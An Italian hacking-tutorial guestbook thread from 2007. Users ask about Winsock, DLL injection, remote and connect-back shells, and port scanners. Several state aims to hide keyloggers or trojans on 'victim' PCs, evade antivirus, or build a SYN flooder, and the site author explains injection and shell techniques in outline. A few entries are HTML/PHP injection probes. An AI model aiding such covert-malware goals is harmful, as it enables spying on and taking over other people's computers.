28 June 2007, 2:08 PM - cescus:
istruzioni x la pw: -- CENSORED --
21 June 2007, 9:27 PM - Carlos:
Qual'è la passwoed per l'anima di win?
15 June 2007, 12:53 PM - ixiodor:
il dll injection nn funge...alloca in memoria,ma non esegue poi il contenuto della dll
14 June 2007, 5:36 AM - lorazepam dose:
<Text>
3 June 2007, 3:50 PM - capacity:
<Text>
30 May 2007, 6:09 PM - Michele:
ciao a tutti e complimenti per il sito ma nn riesco a trovare la pw nonostante -- CENSORED --
23 May 2007, 3:27 PM - Antonio:
Mi ritrovo con un problema singolare. Nell'applicazione Client/Server con Socket che sto realizzando se uso la porta 80 la parte Server si blocca sull'istruzione bind se uso una qualsiasi altro numero porta la bind è eseguita correttamente...
Poichè vorrei usare la porta 80 per superare i firewall a cosa è dovuto questo strano comportamento? Come superarlo?
La mia applicazione Client/Server dovrebbe permettere il download automatico degli aggiornamenti software...
Grazie
22 May 2007, 10:50 PM - fra:
ciao nn riesco a trovare la password anke se l'ho decrittata con rot13!
20 May 2007, 11:28 PM - fra:
ciao nn riesco a trovare la password anke se l'ho decrittata con rot13!
20 May 2007, 10:43 AM - fellers:
<Text>
7 May 2007, 9:29 PM - jhonny:
Complimenti per il sito, non ce ne sono molti anzi nessuno, che io conosca come questo. Ho un broblema sono un newbie e non riesco ad utilizzare le librerie windows.h e winsock.h, utilizzo l'ambiente di programmazione Visual c++ express edition 2005, e l'errore di debugging è: Cannot open include file "..." No such file or directory. Come mai? Qualcuno potrebbe darmi una mano, ne sarei molto riconoscente, è da mesi che tento di capire cosa non va.
4 May 2007, 5:25 PM - MarDok:
Ragazzi ho ancora problemi con la dllinjection ... come ambiente di sviluppo utilizzo il dev-c++ e come detto da Marco ho messo la libreria -lwsock32 nella riga di comando del linker,poi ho provato a mettere la dll così creata sia in system32 che nella cartella del mio eseguibile ma niente... A me serve ciò perchè devo creare un keylogger invisibile per un progetto universitario ... volevo chiedervi aiuto nel risolvere questo problema di non funzionamento e magari consigli su eventuali altri metodi per nascondere il tutto!grazie mille in anticipo!
2 May 2007, 12:39 PM - fantasy:
<Text>
24 April 2007, 12:18 AM - winspool:
<Text>
17 April 2007, 6:43 PM - Antonio:
Penso di aver risolto. Ho definito un Mutex e condizionato l'accesso al file solo se nessun thread lo sta utilizzando, WaitForSingleObject(hmutex, INFINITE);
Poichè ogni thread scriverà in questo file solo un rigo (80 caratteri circa), nel caso che 2 o più thread accedono contemporaneamente (ipotesi piuttosto remota) il tempo di attesa del thread sarà insignificante ai fini dell'elaborazione.
Non ci dovrebbero essere conseguenze per l'applicazione ed eventuali thread in attesa...
Che ne pensi della soluzione?
Ciao e grazie per la disponibilità
16 April 2007, 9:58 AM - Komrade:
Per Antonio:
Questi problemi si risolvono con la programmazione concorrente:
http://it.wikipedia.org/wiki/Concorrenza_(informatica)
Esistono diverse API di windows che permettono di utilizzare la programmazione concorrente, prova a vedere qui:
http://www.codeguru.com/forum/archive/index.php/t-287624.html
16 April 2007, 9:48 AM - Komrade:
Per Franko:
fare una cosa del genere è possibile, si chiamano connectback shell e l'unico problema è farle connttere all'indirizzo IP del server di attesa di una shell. Che cosa ti ha fermato nella creazione di questo tipo di shell?
16 April 2007, 9:43 AM - Komrade:
Per Skorpion:
Un esempio di codice su come impostare il timeout su una socket lo trovi qui:
http://unsecure.altervista.org/socket/bannerscan.c
10 April 2007, 4:41 PM - Antonio:
Grazie per la collaborazione. Mi sto muovendo con i socket... Ti pongo una questione attinente.
Ho realizzato un Socket Server Multithread. Dopo l'esecuzione del thread si dovrebbe scrivere il risultato dell'elaborazione all'interno di un unico file. Come posso far si che due o più thread non entrino in conflitto se tentano di accedere contemporaneamente a questoo file?
Grazie
8 April 2007, 3:59 PM - Franko:
Ciao a tutti vorrei saper una cosa:
E' possibile trasformare la shell remota in un client e il mio programma in un server al quale la shell remota si connette?
Ho provato a fare ciò ma senza risultati....idee?
Ciao bel sito Complimentoni ^___^
6 April 2007, 11:51 AM - Scorpion:
Ciao a tutti volevo sapere come impostare il timeout su una socket
6 April 2007, 10:37 AM - Komrade:
Per Antonio:
se hai ancora problemi con la tua applicazione fammi sapere come mai dici che "ti manca sempre un pezzo", che tipo di problema hai a comunicare con un server che dovrebbe essere un server NTP (Network Time Protocol), ricordandoti che questo server è in ascolto sulla porta 123 sul protocollo UDP?
Fammi sapere.
Ciao
6 April 2007, 10:31 AM - Komrade:
il winsock.h è un header che si trova all'interno del tuo compilatore C, cerca nella directory che contiene tutti gli headers
Ciao
5 April 2007, 11:21 AM - Dario:
DOVE POSSO TROVARE IL WINSOCK.H?????
2 April 2007, 3:17 PM - n3tfr33:
Bel sito...bravo bravo.
Xò troppo facile entrare nella parte protetta dalla password...senza nulla togliere al rot13 magari codificala con l'md5 almeno si perde qualche oretta con il buon vecchio JTR...cmq davero grazie ci sono un sacco di cose veramente interessanti.
30 March 2007, 11:32 AM - Antonio:
Innanzitutto grazie per la risposta... Il problema è che la data dev'essere certa non modificabile, perchè su questa verranno fatti dei controlli per il sistema di protezione dell'applicazione.
Ho un'applicazione con un sistema di protezione che si basa su una data di scadenza. Ovvio che non posso far riferimento alla data di sistema che può essere modificata, ma ad una data presa esternamente.
Mi sto muovendo in ambito socket. Un socket sul server aziendale (che invia la data) ed uno nell'applicazione client (che riceve la data)...
Così sono certo che la data è quella corrente.
Se hai altre idee e/o suggerimenti sono graditi.
Ciao
29 March 2007, 10:11 PM - per antonio:
se il tuo problema e ricavare la data non c'è bisogno di interrogare un server esterno. basta usare l'API GetDateFormat in questo modo:
LPTSTR data; //stringa dove mettere la data
DWORD chBuff = 50; //lunghezza massima della stringa
TCHAR thBuffer[50]; //buffer per la stringa
data = thBuffer;
GetDateFormat(LOCALE_SYSTEM_DEFAULT,0,0,"dddd-MMMM-yyy",data,chBuff);
/*funzione per la scrittura in una stringa della data formato giorno-mese-anno*/
se vuoi documentatri sulla funzione GetDateFormat ti consiglio l'mdsn library.
27 March 2007, 3:37 PM - Antonio:
Bello questo sito che mette a disposizione di tutti la conoscenza acquisita....
Ho un problema che spero mi aiuterete a risolvere.
Ho un'applicazione in VC++ 6.0. Devo interrogare un "server timer" tipo time.microsoft.com per ottenere la data (giorno-mese-anno) come posso fare???
Sto cercando fra i socket ma mi manca sempre un pezzo potete aiutarmi???
Grazie anticipatamente per l'aiuto...
Antonio
22 March 2007, 7:45 PM - Luca:
ciao Komrade,
quale sara il tuo prossimo tutorial... spero qualcosa di figo...
Una domanda: c'e un programma che mi permetta di fare tipo comando Dir su un sito?
Grazie,
Luca
22 March 2007, 4:33 PM - un ragazzo:
ciao a tutti. ho trovato molto interessane la sezione del sito riguardo le shell. volevo chiedere se quacuno sa consigliarmi qualche efficace metodo per far comunicare la shell col pc attaccante. considerando gli ip dinamici, mi servirebbe un metodo per ricevere l'indirizzo ip del computer attaccato, che non sia la ricera degli ip sul provider perke troppo lento e neanche la mail perche rischiosa. ringrazio in anticipo coloro che risponderanno.
19 March 2007, 9:01 AM - Komrade:
La sezione è online e la sto sviluppando. Verificando la password funziona correttamente, prova meglio...
ciao!
17 March 2007, 6:04 PM - pippo:
ho provato a decrittare la password del sito ( censored by Komrade ) ma non va ...per caso la sezione e' offline?
15 March 2007, 4:54 PM - Giova:
Ok, grazie mille.
Appena ho un pò di tempo provo a combinare qualcosa. Se ho dei problemi ti faccio sapere. Grazie ancora, a presto.
15 March 2007, 11:38 AM - Komrade:
Secondo me con i threads ti esce un lavoro molto più pulito, affidabile, e veloce, e che si integra molto bene con una applicazione grafica quindi ti consiglio di usare i threads.
Ciao
14 March 2007, 4:01 PM - Giova:
Ciao Komrade, grazie per avermi risposto.
Mentre attendevo la tua risposta ho fatto qualche esperimento, ancora sotto shell però. Sono riuscito a settare un timeout culla funzione connect() utilizzando la funzione select().
Per quanto riguarda la tua risposta, vuoi dire che devo lasciare stare ogni tentativo di settare un timeout ed utilizzare solo ed esclusivamente i thread, o devo fare entrambe le cose?
Ciao e grazie ancora.
13 March 2007, 4:04 PM - Komrade:
Per Giova:
Se hai intenzione di fare un portscanner ti consiglio di lasciare perdere il bannerscan che più che altro utilizzava una variabile di delay per attendere la riposta dal server, mentre tu devi solo verificare se una porta è aperta o meno (ti basta una connect), per un buon lavoro ti consiglierei due cose:
1 se possibile utilizzare winsock versione 2.0 e quindi iniziare a studiare la nuova versione (dovrò aggiornare la mia guida il prima possibile)
2 programmare tramite thread, mi hai detto che te la cavi con le WinApi, esse mettono a disposizione funzioni per lavorare con thread (CreateThread), in questo modo grazie ai thread puoi inviare parallelemante tante richieste di connessione a diverse porte, dimenuendo così i tempi di attesa aumentando l'efficienza del portscanner. (Tutti i portscanner che ho visto funzionano in queto modo)
Ciao.
13 March 2007, 4:01 PM - Z@X:
Grande ragazzi, tutorial buonissimi ;)
8 March 2007, 5:39 PM - Giova:
Dimenticavo di dire che ho già provato la funzione setsockopt()con l'opzione SO_LINGER. Il problema è che in questo modo posso stabilire un delay solo in secondi e non in millisecondi. Ciao.
8 March 2007, 4:34 PM - Giova:
Ciao Komrade,
ho trovato molto interessante l'articolo sui winsock, ed ho iniziato a scrivere qualcosina.
Vorrei scrivere un port scanner partendo prima da qualcosa di semplice, fino ad arrivare ad un client grafico, dato che con le WinApi me la cavo benino (Forse sembrerò un pò ambizioso...).
Per cominciare però ho iniziato a fare qualche piccolo esperimento sotto shell.
Vorrei fare in modo di velocizzare il portscanner diminuendo il delay di attesa prima della caduta della connessione. Ho visto che per fare questa cosa, nel bannerscan, hai utilizzato la funzione ioctlsocket() interrompendo la funzione recv(), quando il delay prefissato è trascorso.
In un semplice scanner invece, come devo fare? devo inserire per forza una funzione recv() come nel bannerscan? Ho le idee un pò confuse, potresti darmi delle delucidazioni?
Grazie e a presto
6 March 2007, 3:35 PM - Komrade:
Per Luca:
La Dll injection si basa su due operazioni:
- la crezione di una DLL che eseguirà delle operazioni (una dll semplicissima la trovi qui:
http://unsecure.altervista.org/codeinjection/codeinjection.htm#DLL_INJECTION)
- la scrittura nella memoria di un processo in esecuzione e quindi l'avvio di questa dll.
La dll viene avviata semplicemente chiamando la LoadLibrary("nome_dll.dll") all'interno di un altro processo, utilizzando per esempio la funzione createRemoteThread() che crea un thread in un processo remoto.
6 March 2007, 3:19 PM - Komrade:
per GrT:
Nella riga:
--->sin.sin_addr.s_addr = inet_addr("127.0.0.1");
si utilizza la struttura sockaddr_in (che sarebbe sin) così definita:
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
La struttura sin_addr utilizzata al suo interno è in realta una union, cioè può contenere valori di divero tipo:
struct in_addr {
union {
struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
struct { u_short s_w1,s_w2; } S_un_w;
u_long S_addr;
} S_un;
è formata quindi o da 4 char (4*1 bytes) o da 2 short (2*2 byte) o da 1 long (4*1 byte)
La funzione inet_addr converte la stringa che identifica l'indirzzo IP in un unsigned long (utilizzando la libreria winsock.h) da inserire all'interno della strttura.
5 March 2007, 8:32 PM - Paolo Lollo:
Ciao asdiamo insieme!
4 March 2007, 9:39 PM - pippo:
pluto
4 March 2007, 6:11 PM - Luca:
Grazie Komrade,
ti volevo fare un'altra domanda..
mi spieghi meglio la Dll Injection???
come si fa ad avviare la Dll???
GRazie
Luca
1 March 2007, 4:15 PM - Francesco:
Ma come faccio ad istallare un Keylogger su un pc con Nortonantivirus?
27 February 2007, 8:22 PM - GrT:
cia a tutti,
sto cercando di scrivere un syn flooder e ho trovato molto utilissima la guida introduttiva per i raw socket,
non ho capito però la riga di codice:
--->sin.sin_addr.s_addr = inet_addr("127.0.0.1");
pensavo che sin_addr non fosse una struct a sua volta
26 February 2007, 5:53 PM - Komrade:
come richiesto da Claudio, ora compare anche l'ora di invio dei messaggi
Komrade:
Un saluto a tutti, dopo un lungo periodo di silenzio, sto cercando di ricominiciare a lavorare su questo sito per continuare il lavoro fatto fino ad oggi.
Per Luca: gli shellcode sono dei codici scritti in linguaggio macchina che possono essere utilizzati per vari scopi. Essi sono inseriti all'interno di exploit. Lo shellcode più diffuso è quello che permette di aprire una shell (un prompt dei comandi) su di una determinata porta, per comunicare con la shell è sufficiente telnettarsi su quella porta (telnettarsi = usare telnet, programmino già presente in ogni S.O.)
Ciao!
Luca:
non riesco a capire le shellcode....
sono tipo dei server?
come gli si fa a mandare i messaggi alla shell?????
Per favore rispondetemi
CIAO
Jacks:
salve
Luca:
genio se proprio un deficente
La voce fuori campo:
Povero genio, giuro che mi dispiace per quelli come te. Chi ti ha dato il nome di genio?
Tua mamma? E' proprio vero che la mamma di quegli strani elementi è sempre in cinta, ed ora si mette pure a dargli dei nomi sarcastici...
Tu non sei un genio incompreso, sei un genio incompleto. Incompleto perchè mancante della caratteristica fondamenteale che serve per essere prima un uomo e poi un genio: IL CERVELLO.
Ti chiarisco un paio di cose:
1) Era stato espressamente vietato di dire come funziona o quale è la password.
2) Non vedi che la password cambia ogni volta.
Sveglia!
Il Genio:
la password per entrare nella sezione che parla di windows è:
mkgepbxcjoal
ciao
Luca:
Ciao, vorrei capire come si fa ad eseguire la Dll dell'esempio a proposito della guida su Dll Injection
...:
<b>mmm</b>
claudio:
giusto per capire che questo sito è .. vivo .. mi piacerebbe che ci fosse la data accanto agli interventi .. ;ò)
Dr.Mitnick:
complimenti!!!! il sito è semplice efficace e utilissimo!!!
biagio:
si puo creare un key logger con il notepad rispondetemi all indirizzo info@biagiovuolo.com grazie mille
Domy:
esperto io? buahahah XD la mia risposta era vaga xke nn lo sn affatto :-) linux è un mondo ke mi è ancora ignoto, non posso esserti di aiuto purtroppo :-(
io continuo ad avere quel problemino con le socket..volevo kiedervi e se usassi la sendto e recvfrom? potrebbe funzionare? mmm...
AbsoluteBeginner:
Scusate se insisto, ma che tipo di server è?
Grazie Domy per la tua risposta ma è un po' vaga. Non vorrei rompere le scatole in mezzo a voi che siete tutti esperti, ma è una questione importante. Ho provato a capirci qualcosa leggendo nei motori di ricerca ma....nun gliela fò!
Grazie. E non posso nemmeno dire a buon rendere. :-(
Domy:
no ke io sappia..
AbsoluteBeginner:
Qualcuno sa dirmi se il server scritto qua sotto è legato a qualcosa di strano?
(illegale o robe del genere?).
Apache/1.3.29 (Unix) mod_python/2.7.10 Python/2.2.2 mod_webapp/1.2.0-dev mod_perl/1.29 mod_throttle/3.1.2 PHP/4.3.4 FrontPage/5.0.2.2510 mod_ssl/2.8.16 OpenSSL/0.9.7c
Domy:
scusate sono nuovo :) ho un piccolo problema..sto cercando di far conunicare due socket (server e client)...i messaggi inviati da server vengono ricevuti dal client ma..il conrario non avviene :/ cioe il client nn invia messaggi..o meglio il server non ne riceve...ho provato ad utilizzare una recvfrom ma ha bisogno di altri parametri ke sinceramente non conosco XD aiutatemi ç__ç grazie a buon rendere :D
amico:
server se vuoi lo testo io! so gia dove e come poterlo testare..
unodipassaggio:
il sito è carino
uno_di_passaggio:
il sito risulata interessante
mamo139:
@ nonsoniente: spero tu nn stia dicendo che nn sai come compilarlo.... :)
usa Dev-C++
Server:
ciao a tutti, ho creato un applicazione client- server in c, per il controllo remoto di un pc, il problema e che nn so kome farlo eseguire sul pc della "vittima".Se mando l'eseguibile per email mi viene bloccato, se lo mando in un rar no...cmq il fatto e che nn so come nasconderlo e fare in modo che venga eseguito....qualcuno sa consigliarmi qualcosa???
nonsoniente:
Ciao Raga,vorrei farvi una domanda che sicuramente per voi sarà banale..io ho visto il programmino per key logger,conosco il c...ma(nn mi uccidete vi prego)..dove inserisco il codice?cioè dove e come lo salvo per farlo eseguire avendo windows xp..e più in generale..io programmo in html,in c++ ecc..ma come lo rendo eseguibile dal mio pc?Spero di essere stato kiaro grazie mille! :-)
mamo139:
riassumendo il problema: mi piacerebbe creare una shell remota che non sia un server ma un client... grazie mille ciao
mamo139:
ho questo problema e che non trascrivo qua per non incasinare il notepad
grazie ciao
http://www.hwupgrade.it/forum/showthread.php?t=1320235
OldFox:
Volevo solo dire che codare su Microsoft(R) Windows(Tm) non è una gran cosa(Tm), poi fate un po' voi. www.fsf.org .
Tn°X:
Grazie tanto della dritta terno a buon rendere CIAO
mamo139:
ho provato dll injector... la dll mi sa che viene caricata... infatti non la posso cancellare finche nn termino il processo... xò non si esegue, nn mi compare l'alert!! ho provato su iexplore... come mai??? grazie mille!
Larika from www.hellboundhackers.org:
Buonasera ragazzi e complimenti a komrade per i tuoi skills nella programmazione. Mi fa piacere innanzitutto scoprire che l'hacking italiano è ancora vivo e supportato da programmatori validi come komrade. Volevo chiedervi di dare un'occhiata al sito www.hellboundhackers.org, una comunità hackers inglese in cui potrete trovare veri hackers da ogni parte del mondo, vere sfide da battere quali missioni realistiche(stile website defacement), applicazioni da crackare e gare di programmazione. Inoltre troverete all'interno del sito numerosi articoli sull'hacking e numerosi codici sorgente di tools molto utili.
Vi aspetto su www.hellboundhackers.org sotto il nick "Larika"
terno:
Le seguenti funzioni:
CreateToolhelp32Snapshot()
Process32First()
Process32Next()
possono essere utilizzate per ottenere una lista completa dei processi che sono in esecuzione su di una macchina. Non sto a scriverti il codice sarebbe lungo, cmq puoi trovare un esempio completo (di come si usano le funzioni, non di come si termina un processo...)su msdn:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/taking_a_snapshot_and_viewing_processes.asp
Uno dei parametri che prendono Process32First() e Process32Next() è una struttura dati chiamata PROCESSENTRY32 che contiene idati relativi ad un determinato processo compreso il PID.
Se si vuole terminare un processo a partire dal PID basta prendere uno snapshot del sistema con la funzione CreateToolhelp32Snapshot() e poi utilizzare le funzioni Process32First() e Process32Next() per cercare il processo con il PID che ci interessa.
Trovato il PID il gioco è fatto
Tn°X:
Scusa ciao ma quali sono le api per trovare il pid??
terno:
Veramente un ottimo sito, anche se a giudicare dai post questa specie di forum ultimamente mi sembra un pò disertato da Komrade.
Ho trovato tutto molto interessante anche se ho delle perplessità:
1) Perchè i sorgenti della sezione Code injection project fanno uso di api non documentate per trovare il Pid di un processo quando si può fare benissimo con le API standard di windows?????????
2) Perchè la dll injection non funziona? O meglio l'injection della dll sembra funzionare, ma in realtà il cosice non viene eseguito.
Gaetano:
Ciao a tutti sapete per caso qualkosa di siti che parlano di bug nuovi e che dicono in cosa consistono facendo anche esempi? No perchè molti parlano parlano ma non dicono un asso, che ne so ok che c'e un po di privacy ma ditelo anche in linguaggio super tecnico che ne so..anche scrito arabo.. ciausssssssssss
ci sn riuscito:
ci sn riuscito, ma cmq nn ho capito xke prima nn andava.
ciao :-D
anima windows:
Io ho decyptato 10 password in rot13 ma nn funziona nessuna, neanche se non la decripto, è xke è in costruzione o ho sbagliato io?
Giova::
Salve a tutti.
Vorrei dei chiarimenti sulla remoteshell.
Una volta connesso alla remoteshell se provo a lanciare da shell qualche programma tipo ftp o telnet ed altri programmi che funzionano sotto shell
ho dei problemi nella corretta visualizzazione del output.
Ad esempio con ftp l'output del programma non viene visualizzato fino a quando non si digita il comando quit. Questo problema può essere risolto in qualche modo? Da cosa dipende?
Poi mi chiedevo come mai se provo a lanciare una normale applicazione dalla shell ad esempio il winmine, non parte subito ma solo dopo aver sciacciato 3 o 4 tasti. Come mai?
Qualche suggerimento?
Grazie e buon lavoro a tutti.
Jake:
bhe...io ci ho messo 5 minuti...ma ammetto che sono uno smanettone che conosce dall'html al c passando per javascript e finendo per python... (un sistemista con la passione della programmazione del network è quanto di più simpatico si possa trovare in giro...non trovate??) effettivamente non è difficile..ma richiede un pò di conoscenza..ancora complimenti a Komrade.
Jake
per attila:
evidentemente no :D
Attila:
premo invio e mi dice password errata...ma nn e la stringa di 12 caratteri???
per attila:
provato a premere invio ? ...............
Attila:
Trovare la password e stato relativamente semplice!!!!
Ma dopo che l'ho trovata...come faccio ad accedere????
Non c'e nessun pulsante da premere....
Night_XX:
Ragà, la password delle sezione anima di windows?? Una cagata pazzesca, ci sono riuscito io in 30 secondi che non ne capisco quasi niente di html e javascript, ci puo' riuscire chiunque!! La sezione in compenso è troppo interessante!! Ciau
Tn°X:
Ah! un'ultima cosa, visto che usi anche tu lccwin32 vorrei sapere come si fa per far diventare un file .wav o .mid una risorsa, inquanto se scrivo nell'header dell'eseguibile:
(numero risorsa) WAVE (file)
non lo riceve e mi da un errore in compilazione, quindi devo sempre fare una chiamata a file esterno, come faccio? qual'e' la giusta sintassi? se qualcuno lo sa lo ringrazio anticipatamente
Tn°X:
Cmq sei forte kromade
Tn°X:
AAA se qualcuno fosse interessato al perche e percome mandate una mail a piolo6@interfree.it subject: trojan
Tn°X:
Grazie, con un po' di infarinatura ho fatto un torjan che lavora davvero benone e se neinfischia anche dei firewall hehe
che grande sforzo...:
Bhe sì eh... Un algoritmo veramente impressionante... Se avete bisogno di --censored-- state messi proprio bene...
sn0z33r:
allora ragazzi fate silenzio, non sventolate tutto, ci siete riusciti ? bene bravi ! pero' state ZITTI altrimenti tanto valeva non mettere il "giochino" che dite ?
Psyco_Rabbit:
Teoricamente cambia ad ogni accesso, cmq è relativamente facile trovarla...
?!?!?!?:
ma la password cambia continuamente?!?!?!? --censored-- mi sa ke involontariamente sono riuscito ad hackerare la password.
0_0:
ALL'ANIMA SE ERA FACILE!!!!!! HO AVUTO BISOGNO DI --censored-- PER TROVARLA!!!!!! E NON HA NEANCHE SENSO!!!
!!!!!!!!!!!!!:
pure io l'ho trovata :D non e' difficile :p purtroppo pero' non si puo' dire nulla data la semplicita' della cosa.. altrimenti e' come dare la password direttamente :P
???:
niente so tre ore ke sto a spulcià tra codice della pagina, info della pagina, numeri dello sfondo ecc. ma non ho ancora trovato la password... mi puoi dare qualche indizio?
Aguzza la vista:
Se guardi bene la trovi...
???:
qual'è la password della sezione nell'anima di windows?
Giova:
Salve a tutti.
Vorrei dei chiarimenti sulla remoteshell.
Una volta connesso alla remoteshell se provo a lanciare da shell qualche programma tipo ftp o telnet ed altri programmi che funzionano sotto shell
ho dei problemi nella corretta visualizzazione del output.
Ad esempio con ftp l'output del programma non viene visualizzato fino a quando non si digita il comando quit. Questo problema può essere risolto in qualche modo? Da cosa dipende?
Poi mi chiedevo come mai se provo a lanciare una normale applicazione dalla shell ad esempio il winmine, non parte subito ma solo dopo aver sciacciato 3 o 4 tasti. Come mai?
Qualche suggerimento?
Grazie e buon lavoro a tutti.
ciccciociccio:
ciao come faccio per fare un programma che nn compare nella task bar e non visualizza nessuna finestra ma lavora nascosto?
Komrade:
Attraverso i valori di ritorno della send e della recv puoi sapere se la connessione è stata chiusa o se c'è stato un errore che ha terminato il socket, in questo modo puoi fermare la stampa dell'ultimo carattere. Ciao
Hyperion:
Ottimo sito komrade :P
Sto facendo pratica con le winsock.
ho fatto un semplice programma di chat in console.
un thread riceve, e il mainthread invia.
Il problema è che se il client o il server chiude il programma, il corrispondente server o client, riceve all'infinito l'ultimo carattere inviato precedentemente.
c'è qualche funzione tipo:
bool ping(sockaddr_in *socket)
che returna true se il client/server è connesso?
smartolo:
Complimenti per il sito ... davvero un ottimo lavoro ... continua così Komrade
Daddolo:
ma la delay dove va messa come variabile
ciccio:
salve io non ho capito solo dove vanno eseguiti i comandi di winsocket?
SaNt0:
vx group ? :D
Cosa fate ? le moltiplicazioni delle matrici in vb e fate gli sboroni ? :D No no aspe' rubate gli account su hotmail ? :D
WOW sono il primo della lista ! -_-"
WarGame:
Per chi fosse interessato ad entrare in un vx group mi puo' contattare all'indirizzo: wargame89@yahoo.it
Ecco i requisiti:
1) Conoscenza di almeno un linguaggio di programmazione (C,C++,asm)
2) Conoscenza dell'inglese
3) Essere molto motivato
Per altre info visitate il sito: http://www.eof-project.net
Marco:
trovato. è un po più complicato che con visual studio ma una volta capito non è difficile. dev c++ utilizza un compilatore gcc quindi per linkare le librerie che ti interessano devi inserire nella riga di comando del linker -NOMELIBRERIA in questo caso -lwsock32.
Per fare ciò vai in strumenti, opzioni di compilazione e spunta il secondo riquadro(aggiungi questi comandi alla linea di comando del linker), scrivi -lwsock32 e premi ok. ora il gioco è fatto ;-)
Marco:
@happyhacking: con dev c++ devi linkare le librerie. ora so come funziona con visual studio e ho lettoda qualche parte come si fa con dev c++ ma non ricordo esattamente come. se qualcuno lo sapesse potrebbe gnetilmente postare? anch'io preferisco devc++ a visualstudio e poi ora che monto suse di sicuro il visualstudio non mi aiuta
cicciociccio:
ciao, nella guida della shell remota c'è scritto ke puo essere alla base di trojan. è vero. ma come si fa per far comunicare la shell remota(nel computer della vittima) con il mio computer? bisognerebbe fare un client che printa a schermo quello che dice la shell remota e inviarli dei comandi. quindi bisogna fare 2 shell????? aiuto!!! chiaritemi le ideee per favore
francesco ...tangarip@libero.it:
ciao sono un ragazzo che frequanta l'iversità di bari..ascolta io non ho capito una cosa...nell programma che hai fatto...quello "server" ..hai scritto che ti mette all'ascoto con una porta a scetla...beh scusa ma ...la porta dove la metti??dove hai scritto argv[0]??....e poi (sono ingorante vorrei capire scusa)
dove posso vedere TUTTI I CAMPI DELLE STRUCT WORD E WSADATA??PERCHè SONO STRUCT!!GIUSTO??...ed inoltre...se ho capito bene tu costruisci prima la soket e poi gli passi una soket di tipo BLIND?? GIUSTO??...ascolta ti posso chiedere un favore enorme ...commenteresti le istruzioni!!??? voglio inparare!!per favore!!
Happyhacking:
Io come compilatore utilizzo dev-Cpp...orafaccio altre prove ma non riesco a capire perche nn funzia
Komrade:
Per Giova:
Il protocollo TCP garantisce che i pacchetti arrivino corretti ed in ordine, quindi è affidabile, su di esso si basa l'FTP che è il protocollo più usato per inviare files, quindi se devi inviare file puoi utilizzare il SOCK_STREAM.
Certo è che se viene persa la connessione TCP (congestione rete, host down) il file non sarà inviato del tutto ma solo in parte e quindi sarà corrotto. La cosa più utile è aggiungere un check sulla dimensione del file prima e dopo l'invio.
Per HappyHacking:
Ti copio un vecchio messaggio che può essere utile:
Avviso per tutti gli interessati alla DLL Injection.
Ragazzi la dll che mi ha spedito Komrade per posta funziona! E' incredibile è lo stesso codice del suo esempio però se lo compilo io e creo la dll non funziona. In pratica se tento di fare la dll per conto mio con Visual Studio lui la costruisce senza errori ma non si vedono gli effetti dell'iniezione mentre quella compilata da Komrade (forse con un altro compilatore) funziona perfettamente (pur essendo lo stesso codice). Forse c'è qualche opzione da abilitare/disabilitare nelle opzioni del visual Studio, io le ho spulciate un pò ma non ho trovato nulla.
Utilizzi il visual studio per caso?
Per Pd_Kin:
Così al volo non saprei rispondere alle due domande, però se guardi qui:
http://windowssdk.msdn.microsoft.com/en-us/library/ms672060.aspx
oppure qui:
http://windowssdk.msdn.microsoft.com/en-us/library/ms651298.aspx
trovi tutto sulle edit, sicuramente c'è scritto anche quello che serve a te, per esempio c'è il messaggio EM_SETBKGNDCOLOR che ti può servire:
http://windowssdk.msdn.microsoft.com/en-us/library/ms652067.aspx
Ciao!
<h1>OWN:
<h1>OW
\">OWNZ:
">
Pd_kin:
Ho trovato questo sito per caso ed è stato proprio un bel colpo di fortuna...
Volevo fare prima di tutto i complimenti a Komrade per la semplicità e l'efficacia dei suoi esempi. Molte cose ho iniziato a capirle grazie a questo sito. Avrei un paio di domande da rivolgere a Komrade o a chiunque sia in grado di aiutarmi. Ho visto i sorgenti di privatechat e vedo che te la cavi pittosto bene anche con le Win32 Api. Le domande sono:
1) Esiste un modo per far sì che un edit accetti in input solodeterminati tasti(per esempio solo i tasti che corrrispondono alle cifre esadecimali)?
2) Esiste un modo per cambiare il colore di un deit che non accetta input dall'utente? Sai il grigio non mi piace molto... lo preferirei bianco :)
Ringrazio già da ora chiunque possa essermi d'aiuto
Happyhacking:
Nonmi funziona la dll injection..riesce a caricare la dll nel processo ma poi non esegue qello ce c'è sulla dll....help !!!
Giova:
Salve a tutti.
Da un pò di tempo provo a realizzare qualche programma con le winsoc e apparte i piccoli problemi che si incontrano quando si affronta un nuovo argomento, diciamo che sto riuscendo a mettere su qualcosa. Ho però un pò le idee confuse su alcune questioni.
Nel momento in cui dichiaro un socket con SOCK_STREAM, decido di utilizzare una connessione TCP/IP. Questo in teoria significa che la trasmissione di dati dovrebbe essere affidabile, almeno più del tipo SOCK_DGRAM. Se per esempio in un programma utilizzo le winsoc per inviare un file da un computer a un altro, mi basta dichiarare socket di tipo SOCK_STREAM per evitare errori durante la trasmissione(e quindi magari rendere un file inutilizzabile) o devo creare io una qualche funzione di controllo?
Spero di essere stato sufficientemente chiaro. Grazie a chiunque risponda e complimenti a Komrade per il sito.
Komrade:
Puoi postare quali sono le tue richieste al server e le riposte? Così posso capire meglio
ing_mancato:
Il server mi risponde una stringa di caratteri penso che siano quelli per la negoziazione ma non so come interpretarli cosa farmene, si accettano suggerimenti.
Komrade:
Per TheNewSystem:
Oltre alle pagine consigliate da Happyhacking ti consiglio anche questa della microsoft:
http://msdn.microsoft.com/library/ita/default.asp?url=/library/ita/vcedit/html/vcorivisualcmainnode.asp
Per John_Doe:
Non ho capito cosa sia intendi per shell grafica...
Ciao!
Happyhacking:
@ thenewsystem
Guarda su www.aleax.it e www.softzone.it
John_Doe:
Qualcuno sa come sostituire e/o creare una shell grafica per windowsXP
TheNewSystem:
Grazie mille per l' ftp... mi potresti anche indicare una guida in italiano(anche un libro se vuoi... sono disposto a uscire euro lol) che spieghi come programmare applicazioni windows visual C,una tipo questa: http://www.tglman.com/?p=20
Questa e' chiarissima ma non completa.
OSTREGA:
<?php echo "MIZZECA" ?>
Komrade:
Per Ing_mancato:
Il server ti risponde una sola volta nel senso che ti invia una stringa di risposta e poi ti disconnete oppure ti invia un solo carattere? (questo te lo chiedo perché il protocollo telnet prevede l'invio di un carattere per volta)
E se provi ad utilizzare un semplice client telnet (anche quello di windows) la connessione con il server rimane?
Per JiNG:
